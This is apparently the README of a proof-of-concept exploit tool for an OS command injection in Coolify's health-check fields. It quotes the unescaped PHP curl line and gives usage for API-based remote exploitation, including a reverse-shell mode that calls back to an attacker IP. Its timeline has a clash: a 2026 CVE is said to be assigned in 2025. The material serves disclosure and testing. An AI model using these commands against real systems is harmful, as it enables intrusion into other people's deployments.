
健康检查中的操作系统命令注入 → 远程代码执行
针对 Coolify 健康检查配置中 OS 命令注入的概念验证利用脚本。
任何经过身份验证的用户都可在已部署的容器内执行任意命令。
Coolify 是一款流行的开源自托管部署平台(GitHub 星标超过 30K)——是 Heroku、Vercel 和 Netlify 的免费替代品。
在 Coolify 的健康检查配置中发现了一个严重的 OS 命令注入 漏洞。health_check_host、health_check_method 和 health_check_path 参数被直接插入到 shell 命令中,完全没有经过清理,使得任何已认证用户都可以在部署容器内执行任意命令。
┌──────────────────┬──────────────────────────────────────┐
│ CVE 编号 │ CVE-2026-59734 │
│ 类型 │ OS 命令注入 (CWE-78) │
│ 严重性 │ 高 — CVSS 8.8 │
│ 攻击向量 │ 网络 (已认证) │
│ 影响版本 │ Coolify <= v4.0.0-beta.460 │
│ 修复版本 │ Coolify >= v4.0.0-beta.469 │
│ 修复提交 │ 23f9156c7 │
│ 报告者 │ CyberTechAjju │
└──────────────────┴──────────────────────────────────────┘
// app/Jobs/ApplicationDeploymentJob.php — generate_healthcheck_commands()
// ⚠️ 用户输入直接拼接到 shell 命令中 — 没有使用 escapeshellarg()!
$generated_healthchecks_commands = [
"curl -s -X {$this->application->health_check_method} -f " .
"{$this->application->health_check_scheme}://" .
"{$this->application->health_check_host}:" .
"{$health_check_port}" .
"{$this->application->health_check_path} > /dev/null || exit 1",
];
此 PoC 脚本通过两种模式验证和利用 CVE-2026-59734:
| 模式 | 描述 | 风险 |
|---|---|---|
--local | 离线模拟存在漏洞的代码模式。无网络请求。 测试所有 3 个可注入参数 + 验证修复效果。 | ✅ 安全 |
--remote | 通过 API 利用真实的 Coolify 实例。将 payload 注入健康检查配置并触发部署。 | ⚠️ 需要认证 |
host、method、path 验证注入,并确认 escapeshellarg() 修复有效--lhost / --lportgit clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh
# 运行安全的本地验证
./coolify_healthcheck_rce_poc.sh --local
预期输出:
═══ 本地漏洞模式验证 ═══
┌─ 测试 1:health_check_host 注入
│ ✅ 存在漏洞 — 注入命令成功执行
┌─ 测试 2:health_check_method 注入
│ ✅ 存在漏洞 — 方法参数也可注入
┌─ 测试 3:health_check_path 注入
│ ✅ 存在漏洞 — 路径参数也可注入
┌─ 测试 4:验证 escapeshellarg() 是否修复问题
│ ✅ 安全 — 清理后的输入阻止了注入
# 基本 PoC — 在容器内写入证据文件
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID
# 反弹 Shell
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--lhost YOUR_IP \
--lport 4444
# 自动清理(利用后恢复原始配置)
./coolify_healthcheck_rce_poc.sh --remote \
--url https://your-coolify-instance:3000 \
--token YOUR_API_TOKEN \
--uuid YOUR_APP_UUID \
--cleanup
用法:
本地验证(安全,离线):
./coolify_healthcheck_rce_poc.sh --local
远程利用(需要认证):
./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [选项]
选项:
--url Coolify 实例 URL(例如 https://coolify.example.com)
--token API Bearer 令牌
--uuid 目标应用 UUID
--payload 自定义注入 payload
--lhost 反弹 Shell 的攻击者 IP
--lport 反弹 Shell 的攻击者端口(默认:4444)
--cleanup 利用后恢复原始配置
API 令牌:
应用 UUID:
curl -s https://YOUR-COOLIFY/api/v1/applications \
-H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'
我写了一篇详细的博客文章,阐述了整个发现、利用过程以及经验教训:
在 YouTube 上观看完整的利用演示:
| 日期 | 事件 |
|---|---|
| 2025 年 1 月 6 日 | 🔍 发现并通过 GitHub 安全公告报告 |
| 2025 年 1 月 16 日 | ✅ Coolify 维护者接受报告 |
| 2025 年 2 月 24 日 | 🔬 调查确认 |
| 2025 年 3 月 18 日 | 🔧 提交修复 (23f9156c7) |
| 2025 年 4 月 12 日 | 📦 修复在 v4.0.0-beta.469 中发布 |
| 2025 年 7 月 | 🏷️ 分配 CVE-2026-59734 并发布安全公告 |
此工具仅供教育和授权的安全测试目的使用。
此 PoC 旨在供安全研究人员和漏洞赏金猎人用于测试他们已获得 明确、书面许可 的系统。未经授权对不属于您的系统进行使用是严格禁止的,并可能违反当地、州和联邦法律。
作者(CyberTechAjju)不承担任何责任,也不对因使用此工具造成的任何误用或损害负责。
| CVE | 目标 | 类型 | 严重性 |
|---|---|---|---|
| CVE-2026-45156 | Nextcloud user_oidc | JWT 签名绕过 | 🔴 严重 (9.8) |
| CVE-2026-59734 | Coolify | OS 命令注入 | 🟠 高 (8.8) |
"他们忘了清理。我可没忘了报告。"
🇮🇳 攻破星球。🌎💻